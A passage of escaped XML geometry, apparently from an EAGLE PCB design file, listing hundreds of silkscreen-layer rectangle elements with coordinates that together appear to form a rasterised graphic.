layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0635\" x2=\"0.9169\" y2=\"1.0679\" layer=\"21\"/>\n<rectangle x1=\"1.2899\" y1=\"1.0635\" x2=\"2.4578\" y2=\"1.0679\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0679\" x2=\"-1.3699\" y2=\"1.0723\" layer=\"21\"/>\n<rectangle x1=\"-0.9969\" y1=\"1.0679\" x2=\"-0.1665\" y2=\"1.0723\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0679\" x2=\"0.9125\" y2=\"1.0723\" layer=\"21\"/>\n<rectangle x1=\"1.2855\" y1=\"1.0679\" x2=\"2.4578\" y2=\"1.0723\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0723\" x2=\"-1.3699\" y2=\"1.0768\" layer=\"21\"/>\n<rectangle x1=\"-0.9969\" y1=\"1.0723\" x2=\"-0.1665\" y2=\"1.0768\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0723\" x2=\"0.9081\" y2=\"1.0768\" layer=\"21\"/>\n<rectangle x1=\"1.2855\" y1=\"1.0723\" x2=\"2.4578\" y2=\"1.0768\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0768\" x2=\"-1.3655\" y2=\"1.0812\" layer=\"21\"/>\n<rectangle x1=\"-0.9925\" y1=\"1.0768\" x2=\"-0.1665\" y2=\"1.0812\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0768\" x2=\"0.9081\" y2=\"1.0812\" layer=\"21\"/>\n<rectangle x1=\"1.2811\" y1=\"1.0768\" x2=\"2.4578\" y2=\"1.0812\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0812\" x2=\"-1.3655\" y2=\"1.0857\" layer=\"21\"/>\n<rectangle x1=\"-0.988\" y1=\"1.0812\" x2=\"-0.1665\" y2=\"1.0857\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0812\" x2=\"0.9036\" y2=\"1.0857\" layer=\"21\"/>\n<rectangle x1=\"1.2811\" y1=\"1.0812\" x2=\"2.4578\" y2=\"1.0857\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0857\" x2=\"-1.361\" y2=\"1.0901\" layer=\"21\"/>\n<rectangle x1=\"-0.988\" y1=\"1.0857\" x2=\"-0.1665\" y2=\"1.0901\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0857\" x2=\"0.9036\" y2=\"1.0901\" layer=\"21\"/>\n<rectangle x1=\"1.2766\" y1=\"1.0857\" x2=\"2.4578\" y2=\"1.0901\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0901\" x2=\"-1.361\" y2=\"1.0946\" layer=\"21\"/>\n<rectangle x1=\"-0.9836\" y1=\"1.0901\" x2=\"-0.1665\" y2=\"1.0946\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0901\" x2=\"0.8992\" y2=\"1.0946\" layer=\"21\"/>\n<rectangle x1=\"1.2722\" y1=\"1.0901\" x2=\"2.4578\" y2=\"1.0946\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0946\" x2=\"-1.3566\" y2=\"1.099\" layer=\"21\"/>\n<rectangle x1=\"-0.9836\" y1=\"1.0946\" x2=\"-0.1665\" y2=\"1.099\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0946\" x2=\"0.8992\" y2=\"1.099\" layer=\"21\"/>\n<rectangle x1=\"1.2722\" y1=\"1.0946\" x2=\"2.4578\" y2=\"1.099\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.099\" x2=\"-1.3522\" y2=\"1.1034\" layer=\"21\"/>\n<rectangle x1=\"-0.9792\" y1=\"1.099\" x2=\"-0.1665\" y2=\"1.1034\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.099\" x2=\"0.8947\" y2=\"1.1034\" layer=\"21\"/>\n<rectangle x1=\"1.2677\" y1=\"1.099\" x2=\"2.4578\" y2=\"1.1034\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1034\" x2=\"-1.3522\" y2=\"1.1079\" layer=\"21\"/>\n<rectangle x1=\"-0.9792\" y1=\"1.1034\" x2=\"-0.1665\" y2=\"1.1079\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1034\" x2=\"0.8903\" y2=\"1.1079\" layer=\"21\"/>\n<rectangle x1=\"1.2677\" y1=\"1.1034\" x2=\"2.4578\" y2=\"1.1079\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1079\" x2=\"-1.3477\" y2=\"1.1123\" layer=\"21\"/>\n<rectangle x1=\"-0.9747\" y1=\"1.1079\" x2=\"-0.1665\" y2=\"1.1123\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1079\" x2=\"0.8903\" y2=\"1.1123\" layer=\"21\"/>\n<rectangle x1=\"1.2633\" y1=\"1.1079\" x2=\"2.4578\" y2=\"1.1123\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1123\" x2=\"-1.3477\" y2=\"1.1168\" layer=\"21\"/>\n<rectangle x1=\"-0.9703\" y1=\"1.1123\" x2=\"-0.1665\" y2=\"1.1168\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1123\" x2=\"0.8858\" y2=\"1.1168\" layer=\"21\"/>\n<rectangle x1=\"1.2633\" y1=\"1.1123\" x2=\"2.4578\" y2=\"1.1168\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1168\" x2=\"-1.3433\" y2=\"1.1212\" layer=\"21\"/>\n<rectangle x1=\"-0.9703\" y1=\"1.1168\" x2=\"-0.1665\" y2=\"1.1212\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1168\" x2=\"0.8858\" y2=\"1.1212\" layer=\"21\"/>\n<rectangle x1=\"1.2589\" y1=\"1.1168\" x2=\"2.4578\" y2=\"1.1212\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1212\" x2=\"-1.3388\" y2=\"1.1256\" layer=\"21\"/>\n<rectangle x1=\"-0.9658\" y1=\"1.1212\" x2=\"-0.1665\" y2=\"1.1256\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1212\" x2=\"0.8814\" y2=\"1.1256\" layer=\"21\"/>\n<rectangle x1=\"1.2544\" y1=\"1.1212\" x2=\"2.4578\" y2=\"1.1256\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1256\" x2=\"-1.3388\" y2=\"1.1301\" layer=\"21\"/>\n<rectangle x1=\"-0.9658\" y1=\"1.1256\" x2=\"-0.1665\" y2=\"1.1301\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1256\" x2=\"0.8814\" y2=\"1.1301\" layer=\"21\"/>\n<rectangle x1=\"1.2544\" y1=\"1.1256\" x2=\"2.4578\" y2=\"1.1301\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1301\" x2=\"-1.3344\" y2=\"1.1345\" layer=\"21\"/>\n<rectangle x1=\"-0.9614\" y1=\"1.1301\" x2=\"-0.1665\" y2=\"1.1345\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1301\" x2=\"0.877\" y2=\"1.1345\" layer=\"21\"/>\n<rectangle x1=\"1.25\" y1=\"1.1301\" x2=\"2.4578\" y2=\"1.1345\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1345\" x2=\"-1.3344\" y2=\"1.139\" layer=\"21\"/>\n<rectangle x1=\"-0.957\" y1=\"1.1345\" x2=\"-0.1665\" y2=\"1.139\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1345\" x2=\"0.8725\" y2=\"1.139\" layer=\"21\"/>\n<rectangle x1=\"1.25\" y1=\"1.1345\" x2=\"2.4578\" y2=\"1.139\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.139\" x2=\"-1.33\" y2=\"1.1434\" layer=\"21\"/>\n<rectangle x1=\"-0.957\" y1=\"1.139\" x2=\"-0.1665\" y2=\"1.1434\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.139\" x2=\"0.8725\" y2=\"1.1434\" layer=\"21\"/>\n<rectangle x1=\"1.2455\" y1=\"1.139\" x2=\"2.4578\" y2=\"1.1434\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1434\" x2=\"-1.33\" y2=\"1.1478\" layer=\"21\"/>\n<rectangle x1=\"-0.9525\" y1=\"1.1434\" x2=\"-0.1665\" y2=\"1.1478\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1434\" x2=\"0.8681\" y2=\"1.1478\" layer=\"21\"/>\n<rectangle x1=\"1.2455\" y1=\"1.1434\" x2=\"2.4578\" y2=\"1.1478\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1478\" x2=\"-1.3255\" y2=\"1.1523\" layer=\"21\"/>\n<rectangle x1=\"-0.9525\" y1=\"1.1478\" x2=\"-0.1665\" y2=\"1.1523\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1478\" x2=\"0.8681\" y2=\"1.1523\" layer=\"21\"/>\n<rectangle x1=\"1.2411\" y1=\"1.1478\" x2=\"2.4578\" y2=\"1.1523\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1523\" x2=\"-1.3211\" y2=\"1.1567\" layer=\"21\"/>\n<rectangle x1=\"-0.9481\" y1=\"1.1523\" x2=\"-0.1665\" y2=\"1.1567\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1523\" x2=\"0.8636\" y2=\"1.1567\" layer=\"21\"/>\n<rectangle x1=\"1.2366\" y1=\"1.1523\" x2=\"2.4578\" y2=\"1.1567\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1567\" x2=\"-1.3211\" y2=\"1.1612\" layer=\"21\"/>\n<rectangle x1=\"-0.9481\" y1=\"1.1567\" x2=\"-0.1665\" y2=\"1.1612\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1567\" x2=\"0.8636\" y2=\"1.1612\" layer=\"21\"/>\n<rectangle x1=\"1.2366\" y1=\"1.1567\" x2=\"2.4578\" y2=\"1.1612\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1612\" x2=\"-1.3166\" y2=\"1.1656\" layer=\"21\"/>\n<rectangle x1=\"-0.9436\" y1=\"1.1612\" x2=\"-0.1665\" y2=\"1.1656\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1612\" x2=\"0.8592\" y2=\"1.1656\" layer=\"21\"/>\n<rectangle x1=\"1.2322\" y1=\"1.1612\" x2=\"2.4578\" y2=\"1.1656\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1656\" x2=\"-1.3166\" y2=\"1.17\" layer=\"21\"/>\n<rectangle x1=\"-0.9392\" y1=\"1.1656\" x2=\"-0.1665\" y2=\"1.17\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1656\" x2=\"0.8548\" y2=\"1.17\" layer=\"21\"/>\n<rectangle x1=\"1.2322\" y1=\"1.1656\" x2=\"2.4578\" y2=\"1.17\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.17\" x2=\"-1.3122\" y2=\"1.1745\" layer=\"21\"/>\n<rectangle x1=\"-0.9392\" y1=\"1.17\" x2=\"-0.1665\" y2=\"1.1745\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.17\" x2=\"0.8548\" y2=\"1.1745\" layer=\"21\"/>\n<rectangle x1=\"1.2278\" y1=\"1.17\" x2=\"2.4578\" y2=\"1.1745\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1745\" x2=\"-1.3122\" y2=\"1.1789\" layer=\"21\"/>\n<rectangle x1=\"-0.9348\" y1=\"1.1745\" x2=\"-0.1665\" y2=\"1.1789\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1745\" x2=\"0.8503\" y2=\"1.1789\" layer=\"21\"/>\n<rectangle x1=\"1.2278\" y1=\"1.1745\" x2=\"2.4578\" y2=\"1.1789\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1789\" x2=\"-1.3078\" y2=\"1.1834\" layer=\"21\"/>\n<rectangle x1=\"-0.9348\" y1=\"1.1789\" x2=\"-0.1665\" y2=\"1.1834\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1789\" x2=\"0.8503\" y2=\"1.1834\" layer=\"21\"/>\n<rectangle x1=\"1.2233\" y1=\"1.1789\" x2=\"2.4578\" y2=\"1.1834\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1834\" x2=\"-1.3033\" y2=\"1.1878\" layer=\"21\"/>\n<rectangle x1=\"-0.9303\" y1=\"1.1834\" x2=\"-0.1665\" y2=\"1.1878\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1834\" x2=\"0.8459\" y2=\"1.1878\" layer=\"21\"/>\n<rectangle x1=\"1.2189\" y1=\"1.1834\" x2=\"2.4578\" y2=\"1.1878\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1878\" x2=\"-1.3033\" y2=\"1.1922\" layer=\"21\"/>\n<rectangle x1=\"-0.9303\" y1=\"1.1878\" x2=\"-0.1665\" y2=\"1.1922\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1878\" x2=\"0.8414\" y2=\"1.1922\" layer=\"21\"/>\n<rectangle x1=\"1.2189\" y1=\"1.1878\" x2=\"2.4578\" y2=\"1.1922\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1922\" x2=\"-1.2989\" y2=\"1.1967\" layer=\"21\"/>\n<rectangle x1=\"-0.9259\" y1=\"1.1922\" x2=\"-0.1665\" y2=\"1.1967\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1922\" x2=\"0.8414\" y2=\"1.1967\" layer=\"21\"/>\n<rectangle x1=\"1.2144\" y1=\"1.1922\" x2=\"2.4578\" y2=\"1.1967\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.1967\" x2=\"-1.2989\" y2=\"1.2011\" layer=\"21\"/>\n<rectangle x1=\"-0.9214\" y1=\"1.1967\" x2=\"-0.1665\" y2=\"1.2011\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.1967\" x2=\"0.837\" y2=\"1.2011\" layer=\"21\"/>\n<rectangle x1=\"1.2144\" y1=\"1.1967\" x2=\"2.4578\" y2=\"1.2011\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2011\" x2=\"-1.2944\" y2=\"1.2056\" layer=\"21\"/>\n<rectangle x1=\"-0.9214\" y1=\"1.2011\" x2=\"-0.1665\" y2=\"1.2056\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2011\" x2=\"0.837\" y2=\"1.2056\" layer=\"21\"/>\n<rectangle x1=\"1.21\" y1=\"1.2011\" x2=\"2.4578\" y2=\"1.2056\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2056\" x2=\"-1.29\" y2=\"1.21\" layer=\"21\"/>\n<rectangle x1=\"-0.917\" y1=\"1.2056\" x2=\"-0.1665\" y2=\"1.21\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2056\" x2=\"0.8326\" y2=\"1.21\" layer=\"21\"/>\n<rectangle x1=\"1.2056\" y1=\"1.2056\" x2=\"2.4578\" y2=\"1.21\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.21\" x2=\"-1.29\" y2=\"1.2144\" layer=\"21\"/>\n<rectangle x1=\"-0.917\" y1=\"1.21\" x2=\"-0.1665\" y2=\"1.2144\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.21\" x2=\"0.8326\" y2=\"1.2144\" layer=\"21\"/>\n<rectangle x1=\"1.2056\" y1=\"1.21\" x2=\"2.4578\" y2=\"1.2144\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2144\" x2=\"-1.2856\" y2=\"1.2189\" layer=\"21\"/>\n<rectangle x1=\"-0.9126\" y1=\"1.2144\" x2=\"-0.1665\" y2=\"1.2189\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2144\" x2=\"0.8281\" y2=\"1.2189\" layer=\"21\"/>\n<rectangle x1=\"1.2011\" y1=\"1.2144\" x2=\"2.4578\" y2=\"1.2189\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2189\" x2=\"-1.2856\" y2=\"1.2233\" layer=\"21\"/>\n<rectangle x1=\"-0.9126\" y1=\"1.2189\" x2=\"-0.1665\" y2=\"1.2233\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2189\" x2=\"0.8237\" y2=\"1.2233\" layer=\"21\"/>\n<rectangle x1=\"1.2011\" y1=\"1.2189\" x2=\"2.4578\" y2=\"1.2233\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2233\" x2=\"-1.2811\" y2=\"1.2278\" layer=\"21\"/>\n<rectangle x1=\"-0.9081\" y1=\"1.2233\" x2=\"-0.1665\" y2=\"1.2278\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2233\" x2=\"0.8237\" y2=\"1.2278\" layer=\"21\"/>\n<rectangle x1=\"1.1967\" y1=\"1.2233\" x2=\"2.4578\" y2=\"1.2278\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2278\" x2=\"-1.2811\" y2=\"1.2322\" layer=\"21\"/>\n<rectangle x1=\"-0.9037\" y1=\"1.2278\" x2=\"-0.1665\" y2=\"1.2322\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2278\" x2=\"0.8192\" y2=\"1.2322\" layer=\"21\"/>\n<rectangle x1=\"1.1967\" y1=\"1.2278\" x2=\"2.4578\" y2=\"1.2322\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2322\" x2=\"-1.2767\" y2=\"1.2366\" layer=\"21\"/>\n<rectangle x1=\"-0.9037\" y1=\"1.2322\" x2=\"-0.1665\" y2=\"1.2366\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2322\" x2=\"0.8192\" y2=\"1.2366\" layer=\"21\"/>\n<rectangle x1=\"1.1922\" y1=\"1.2322\" x2=\"2.4578\" y2=\"1.2366\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2366\" x2=\"-1.2722\" y2=\"1.2411\" layer=\"21\"/>\n<rectangle x1=\"-0.8992\" y1=\"1.2366\" x2=\"-0.1665\" y2=\"1.2411\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2366\" x2=\"0.8148\" y2=\"1.2411\" layer=\"21\"/>\n<rectangle x1=\"1.1878\" y1=\"1.2366\" x2=\"2.4578\" y2=\"1.2411\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2411\" x2=\"-1.2722\" y2=\"1.2455\" layer=\"21\"/>\n<rectangle x1=\"-0.8992\" y1=\"1.2411\" x2=\"-0.1665\" y2=\"1.2455\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2411\" x2=\"0.8148\" y2=\"1.2455\" layer=\"21\"/>\n<rectangle x1=\"1.1878\" y1=\"1.2411\" x2=\"2.4578\" y2=\"1.2455\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2455\" x2=\"-1.2678\" y2=\"1.25\" layer=\"21\"/>\n<rectangle x1=\"-0.8948\" y1=\"1.2455\" x2=\"-0.1665\" y2=\"1.25\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2455\" x2=\"0.8104\" y2=\"1.25\" layer=\"21\"/>\n<rectangle x1=\"1.1834\" y1=\"1.2455\" x2=\"2.4578\" y2=\"1.25\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.25\" x2=\"-1.2678\" y2=\"1.2544\" layer=\"21\"/>\n<rectangle x1=\"-0.8904\" y1=\"1.25\" x2=\"-0.1665\" y2=\"1.2544\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.25\" x2=\"0.8059\" y2=\"1.2544\" layer=\"21\"/>\n<rectangle x1=\"1.1834\" y1=\"1.25\" x2=\"2.4578\" y2=\"1.2544\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2544\" x2=\"-1.2634\" y2=\"1.2589\" layer=\"21\"/>\n<rectangle x1=\"-0.8904\" y1=\"1.2544\" x2=\"-0.1665\" y2=\"1.2589\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2544\" x2=\"0.8059\" y2=\"1.2589\" layer=\"21\"/>\n<rectangle x1=\"1.1789\" y1=\"1.2544\" x2=\"2.4578\" y2=\"1.2589\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2589\" x2=\"-1.2634\" y2=\"1.2633\" layer=\"21\"/>\n<rectangle x1=\"-0.8859\" y1=\"1.2589\" x2=\"-0.1665\" y2=\"1.2633\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2589\" x2=\"0.8015\" y2=\"1.2633\" layer=\"21\"/>\n<rectangle x1=\"1.1789\" y1=\"1.2589\" x2=\"2.4578\" y2=\"1.2633\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2633\" x2=\"-1.2589\" y2=\"1.2677\" layer=\"21\"/>\n<rectangle x1=\"-0.8859\" y1=\"1.2633\" x2=\"-0.1665\" y2=\"1.2677\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2633\" x2=\"0.8015\" y2=\"1.2677\" layer=\"21\"/>\n<rectangle x1=\"1.1745\" y1=\"1.2633\" x2=\"2.4578\" y2=\"1.2677\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2677\" x2=\"-1.2545\" y2=\"1.2722\" layer=\"21\"/>\n<rectangle x1=\"-0.8815\" y1=\"1.2677\" x2=\"-0.1665\" y2=\"1.2722\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2677\" x2=\"0.797\" y2=\"1.2722\" layer=\"21\"/>\n<rectangle x1=\"1.17\" y1=\"1.2677\" x2=\"2.4578\" y2=\"1.2722\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2722\" x2=\"-1.2545\" y2=\"1.2766\" layer=\"21\"/>\n<rectangle x1=\"-0.8815\" y1=\"1.2722\" x2=\"-0.1665\" y2=\"1.2766\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2722\" x2=\"0.797\" y2=\"1.2766\" layer=\"21\"/>\n<rectangle x1=\"1.17\" y1=\"1.2722\" x2=\"2.4578\" y2=\"1.2766\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2766\" x2=\"-1.25\" y2=\"1.2811\" layer=\"21\"/>\n<rectangle x1=\"-0.877\" y1=\"1.2766\" x2=\"-0.1665\" y2=\"1.2811\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2766\" x2=\"0.7926\" y2=\"1.2811\" layer=\"21\"/>\n<rectangle x1=\"1.1656\" y1=\"1.2766\" x2=\"2.4578\" y2=\"1.2811\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2811\" x2=\"-1.25\" y2=\"1.2855\" layer=\"21\"/>\n<rectangle x1=\"-0.8726\" y1=\"1.2811\" x2=\"-0.1665\" y2=\"1.2855\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2811\" x2=\"0.7882\" y2=\"1.2855\" layer=\"21\"/>\n<rectangle x1=\"1.1656\" y1=\"1.2811\" x2=\"2.4578\" y2=\"1.2855\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2855\" x2=\"-1.2456\" y2=\"1.2899\" layer=\"21\"/>\n<rectangle x1=\"-0.8726\" y1=\"1.2855\" x2=\"-0.1665\" y2=\"1.2899\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2855\" x2=\"0.7882\" y2=\"1.2899\" layer=\"21\"/>\n<rectangle x1=\"1.1612\" y1=\"1.2855\" x2=\"2.4578\" y2=\"1.2899\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2899\" x2=\"-1.2456\" y2=\"1.2944\" layer=\"21\"/>\n<rectangle x1=\"-0.8681\" y1=\"1.2899\" x2=\"-0.1665\" y2=\"1.2944\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2899\" x2=\"0.7837\" y2=\"1.2944\" layer=\"21\"/>\n<rectangle x1=\"1.1612\" y1=\"1.2899\" x2=\"2.4578\" y2=\"1.2944\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2944\" x2=\"-1.2411\" y2=\"1.2988\" layer=\"21\"/>\n<rectangle x1=\"-0.8681\" y1=\"1.2944\" x2=\"-0.1665\" y2=\"1.2988\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2944\" x2=\"0.7837\" y2=\"1.2988\" layer=\"21\"/>\n<rectangle x1=\"1.1567\" y1=\"1.2944\" x2=\"2.4578\" y2=\"1.2988\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.2988\" x2=\"-1.2367\" y2=\"1.3033\" layer=\"21\"/>\n<rectangle x1=\"-0.8637\" y1=\"1.2988\" x2=\"-0.1665\" y2=\"1.3033\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.2988\" x2=\"0.7793\" y2=\"1.3033\" layer=\"21\"/>\n<rectangle x1=\"1.1523\" y1=\"1.2988\" x2=\"2.4578\" y2=\"1.3033\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3033\" x2=\"-1.2367\" y2=\"1.3077\" layer=\"21\"/>\n<rectangle x1=\"-0.8637\" y1=\"1.3033\" x2=\"-0.1665\" y2=\"1.3077\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3033\" x2=\"0.7748\" y2=\"1.3077\" layer=\"21\"/>\n<rectangle x1=\"1.1523\" y1=\"1.3033\" x2=\"2.4578\" y2=\"1.3077\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3077\" x2=\"-1.2323\" y2=\"1.3121\" layer=\"21\"/>\n<rectangle x1=\"-0.8593\" y1=\"1.3077\" x2=\"-0.1665\" y2=\"1.3121\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3077\" x2=\"0.7748\" y2=\"1.3121\" layer=\"21\"/>\n<rectangle x1=\"1.1478\" y1=\"1.3077\" x2=\"2.4578\" y2=\"1.3121\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3121\" x2=\"-1.2323\" y2=\"1.3166\" layer=\"21\"/>\n<rectangle x1=\"-0.8548\" y1=\"1.3121\" x2=\"-0.1665\" y2=\"1.3166\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3121\" x2=\"0.7704\" y2=\"1.3166\" layer=\"21\"/>\n<rectangle x1=\"1.1478\" y1=\"1.3121\" x2=\"2.4578\" y2=\"1.3166\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3166\" x2=\"-1.2278\" y2=\"1.321\" layer=\"21\"/>\n<rectangle x1=\"-0.8548\" y1=\"1.3166\" x2=\"-0.1665\" y2=\"1.321\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3166\" x2=\"0.7704\" y2=\"1.321\" layer=\"21\"/>\n<rectangle x1=\"1.1434\" y1=\"1.3166\" x2=\"2.4578\" y2=\"1.321\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.321\" x2=\"-1.2234\" y2=\"1.3255\" layer=\"21\"/>\n<rectangle x1=\"-0.8504\" y1=\"1.321\" x2=\"-0.1665\" y2=\"1.3255\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.321\" x2=\"0.766\" y2=\"1.3255\" layer=\"21\"/>\n<rectangle x1=\"1.139\" y1=\"1.321\" x2=\"2.4578\" y2=\"1.3255\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3255\" x2=\"-1.2234\" y2=\"1.3299\" layer=\"21\"/>\n<rectangle x1=\"-0.8504\" y1=\"1.3255\" x2=\"-0.1665\" y2=\"1.3299\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3255\" x2=\"0.766\" y2=\"1.3299\" layer=\"21\"/>\n<rectangle x1=\"1.139\" y1=\"1.3255\" x2=\"2.4578\" y2=\"1.3299\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3299\" x2=\"-1.2189\" y2=\"1.3343\" layer=\"21\"/>\n<rectangle x1=\"-0.8459\" y1=\"1.3299\" x2=\"-0.1665\" y2=\"1.3343\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3299\" x2=\"0.7615\" y2=\"1.3343\" layer=\"21\"/>\n<rectangle x1=\"1.1345\" y1=\"1.3299\" x2=\"2.4578\" y2=\"1.3343\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3343\" x2=\"-1.2189\" y2=\"1.3388\" 